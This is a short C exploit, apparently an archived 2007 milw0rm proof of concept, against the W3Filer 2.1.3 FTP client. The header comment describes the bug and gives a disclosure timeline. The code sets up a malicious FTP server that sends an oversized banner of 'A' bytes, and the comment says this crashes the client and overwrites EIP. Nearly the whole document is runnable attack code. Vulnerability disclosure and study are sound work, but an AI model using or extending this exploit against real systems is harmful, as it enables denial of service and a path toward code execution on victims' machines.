/*
W3Filer Buffer Overflow Vulnerability
DoS POC
r0ut3r (writ3r [at] gmail.com)
Version: 2.1.3
Description: If the client recieves a large banner when
attempting to send a file the application will freeze,
resulting in the user having to kill the application.
Alternatively the application will immediately crash with
an exception report. Either one of the above happens. The
EIP is overwritten with A's. Version 3.1.3 is not vulnerable.
Timeline:
06/27/2007 - Vulnerability discovered
06/28/2007 - Contacted vendor
06/29/2007 - Public release
This is dedicated to Jeremy Hammond
http://en.wikipedia.org/wiki/Jeremy_Hammond
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 21
int s, c;
struct sockaddr_in sock_addr;
int main()
{
char evilbuf[1500];
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sock_addr.sin_family = PF_INET;
sock_addr.sin_addr.s_addr = htonl(INADDR_ANY);
sock_addr.sin_port = htons(PORT);
bind(s, (struct sockaddr *)&sock_addr, sizeof(sock_addr));
printf("[+] Listening...\n");
listen(s, 5);
printf("[*] Waiting for client\n");
c = accept(s, NULL, NULL);
printf("[!] Client connected\n");
memset(evilbuf,'A',1500);
memcpy(evilbuf,"220 ",4);
memcpy(evilbuf+1497,"\r\n\0",3);
printf("[+] Attempting buffer overflow\n");
if (send(c, evilbuf, strlen(evilbuf), 0) == -1)
{
printf("[-] Error sending..\n");
return 1;
}
printf("[+] Sent! did it crash?\n");
return 0;
}
// milw0rm.com [2007-06-29]